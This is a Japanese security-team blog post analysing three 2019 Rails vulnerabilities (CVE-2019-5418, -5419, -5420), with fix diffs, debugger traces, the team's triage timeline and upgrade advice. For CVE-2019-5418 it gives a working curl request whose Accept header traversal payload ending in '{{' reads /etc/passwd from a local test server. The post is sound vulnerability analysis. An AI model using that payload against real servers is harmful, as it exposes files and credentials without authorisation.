Rails security

Rails 4, 5, 6における Security Fix について

Rails security

セキュリティ対策室の mrtc0 です。

セキュリティ対策室では、サービスで利用しているパッケージやライブラリ等の脆弱性情報を日々収集し分析しています。

そこで今回は 2019/3/14 に公開された次の3つの Rails の脆弱性の詳細をまとめたいと思います。

CVE-2019-5418 : File Content Disclosure in Action View

ディレクトリトラバーサルです。 render file: でファイルを表示している場合、細工されたヘッダを受け付けることで、サーバー上の任意のファイルがレンダリングされます。

影響を受ける Controller のコードは次のようなものになります。

class SomeController < ApplicationController
  def notfound
    render file: "#{Rails.root}/public/404.html"
  end
end

具体的な攻撃方法

細工されたヘッダ、とありますが、どのようなヘッダなのでしょうか?

脆弱性の修正コミットを見ると、Rails が知っている MIME-Type のみ受け付けるようになっています。

--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -79,6 +79,11 @@ def formats
           else
             [Mime[:html]]
           end
+
+          v = v.select do |format|
+            format.symbol || format.ref == "*/*"
+          end
+
           set_header k, v
         end
       end

以上から Accept ヘッダに基づいてファイルをレンダリングする処理に脆弱性があると考えられます。 ではレンダリングの処理を追いかけてみます。

ここでは render file: Rails.root.join('public/404.html') を要求したときの処理をトレースしていきます。 また、Accept ヘッダに脆弱性があると推測しているので、適当な値 ../../path/to/file を与えます。

render() に処理が入り、ステップ実行で観察していきます。

From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionpack-5.2.2/lib/action_controller/metal/instrumentation.rb @ line 44 ActionController::Instrumentation#render:

    43: def render(*args)
 => 44:   render_output = nil
    45:   self.view_runtime = cleanup_view_runtime do
    46:     Benchmark.ms { render_output = super }
    47:   end
    48:   render_output
    49: end

処理を追っていくと find_templates にたどり着きます。

From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionview-5.2.2/lib/action_view/template/resolver.rb @ line 220 ActionView::PathResolver#find_templates:

    218: def find_templates(name, prefix, partial, details, outside_app_allowed = false)
    219:   path = Path.build(name, prefix, partial)
 => 220:   query(path, details, details[:formats], outside_app_allowed)
    221: end

query を追いかけます。

From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionview-5.2.2/lib/action_view/template/resolver.rb @ line 225 ActionView::PathResolver#query:

    224: def query(path, details, formats, outside_app_allowed)
 => 225:   query = build_query(path, details)
    226:
    227:   template_paths = find_template_paths(query)
    228:   template_paths = reject_files_external_to_app(template_paths) unless outside_app_allowed
    229:
    230:   template_paths.map do |template|
    231:     handler, format, variant = extract_handler_and_format_and_variant(template)
    232:     contents = File.binread(template)
    233:
    234:     Template.new(contents, File.expand_path(template), handler,
    235:       virtual_path: path.virtual,
    236:       format: format,
    237:       variant: variant,
    238:       updated_at: mtime(template)
    239:     )
    240:   end
    241: end

ここでレンダリングするテンプレートのパスを解決していることがわかります。 引数を確認してみます。

[1] pry(#<ActionView::FallbackFileSystemResolver>)> path
=> #<ActionView::Resolver::Path:0x000055befcba8180
 @name="404.html",
 @partial=false,
 @prefix="home/mrtc0/tmp/ruby/rails/sample/public",
 @virtual="home/mrtc0/tmp/ruby/rails/sample/public/404.html">
[2] pry(#<ActionView::FallbackFileSystemResolver>)> details
=> {:locale=>[:en],
 :formats=>["../../../path/to/file"],
 :variants=>[],
 :handlers=>[:raw, :erb, :html, :builder, :ruby, :coffee, :jbuilder]}

details[:formats]Accept ヘッダの値が入っていることが確認できます。 build_query の処理を見てみます。

From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionview-5.2.2/lib/action_view/template/resolver.rb @ line 262 ActionView::PathResolver#build_query:

    261: def build_query(path, details)
    262:   query = @pattern.dup
    263:
    264:   prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1"
    265:   query.gsub!(/:prefix(\/)?/, prefix)
    266:
    267:   partial = escape_entry(path.partial? ? "_#{path.name}" : path.name)
    268:   query.gsub!(/:action/, partial)
    269:
    270:   details.each do |ext, candidates|
    271:     if ext == :variants && candidates == :any
    272:       query.gsub!(/:#{ext}/, "*")
    273:     else
    274:       query.gsub!(/:#{ext}/, "{#{candidates.compact.uniq.join(',')}}")
    275:     end
    276:   end
    277:
 => 278:   File.expand_path(query, @path)
    279: end

[3] pry(#<ActionView::FallbackFileSystemResolver>)> query
=> "home/mrtc0/tmp/ruby/rails/sample/public/404.html{.{en},}{.{../../../path/to/file},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"
[4] pry(#<ActionView::FallbackFileSystemResolver>)> @path
=> "/"

[6] pry(#<ActionView::FallbackFileSystemResolver>)> step

From: /home/mrtc0/tmp/ruby/rails/sample/vendor/bundle/ruby/2.5.0/gems/actionview-5.2.2/lib/action_view/template/resolver.rb @ line 247 ActionView::PathResolver#find_template_paths:


    246: def find_template_paths(query)
 => 247:   Dir[query].uniq.reject do |filename|
    248:     File.directory?(filename) ||
    249:       # deals with case-insensitive file systems.
    250:       !File.fnmatch(query, filename, File::FNM_EXTGLOB)
    251:   end
    252: end

以上から最終的に次のようなパスを Dir で読み込むことになります。

[5] pry(#<ActionView::FallbackFileSystemResolver>)> File.expand_path(query, @path)
=> "/home/mrtc0/tmp/ruby/rails/sample/path/to/file},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"

さて、これで Accept ヘッダに指定した任意のファイルパスを読みだせそうということがわかりました。 ただし、これでは pattern としておかしいので正しくレンダリングできません。

そこで path/to/file{{ のように末尾に {{ を付与することで pattern として正しい(空文字で展開する)形にします。

すると次のようになり、正しくパターンマッチするようになります。

[5] pry(#<ActionView::FallbackFileSystemResolver>)> File.expand_path(query, @path)
=> "/home/mrtc0/tmp/ruby/rails/sample/path/to/file{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}"

これで任意のファイルを読み出せるようになりました。 試しに /etc/passwd を読み出してみます。

$ curl -v 'http://localhost:3000/ -H 'Accept: ../../../../../../../../../../../../../../../../../../etc/passwd{{'
...
> GET / HTTP/1.1
> Host: localhost:3000
> User-Agent: curl/7.64.0
> Accept: ../../../../../../../../../../../../../../../../../../etc/passwd{{
>
< HTTP/1.1 200 OK
...
< Content-Type: text/html; charset=utf-8
<
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

render file: を使っていることが条件ですが、攻撃が容易で深刻度が大きいですね。

CVE-2019-5419 : Denial of Service Vulnerability in Action View

前述した CVE-2019-5418 の副作用のようなものです。 CVE-2019-5418 では任意のファイルを読み出せるため、例えば大きなファイルを読み出すことでリソースを大量に消費させることができます。

CVE-2019-5420 : Possible Remote Code Execution Exploit in Rails Development Mode

Rails の development 環境での任意コード実行の脆弱性です。

修正コミットを確認すると、development 環境では secret_key_basenil の場合に、その値を Digest::MD5.hexdigest(self.class.name) で設定してしまっています。 そのため、アプリケーションを知っている開発者であればその値を推測可能になります。

secret_key_base が漏れた場合に、なぜ任意コード実行ができるのかについては Hackerone でのレポートにも書かれている通り、 ActiveSupport::MessageVerifierActiveSupport::MessageEncryptor を介してオブジェクトインジェクションが可能なためです。

特に ActiveSupport::MessageVerifier の場合は GET リクエストで特定のURLにアクセスするだけで発火しますので、例えば、Railsアプリケーションを手元で立ち上げたまま、ブラウザで悪意あるリンクを踏むことで任意コード実行につながるといったシナリオも考えられます。

ペパボでのトリアージ

セキュリティ対策室では脆弱性情報を複数の情報源から取得しています。 トリアージからサービス展開まではおよそ3時間で終了し、影響のあるサービスへ展開、対策を講じました。

  • 2019/03/14 02:17 脆弱性公開
  • 2019/03/14 02:18 トリアージ開始
  • 2019/03/14 05:20 トリアージ終了、サービスへ展開

終わりに

公開された3つの脆弱性は、いずれも攻撃が成功するのに条件が必要でありますが、危険度が高い脆弱性です。 バージョンアップによる根本的対策や緩和策を講じることを推奨します。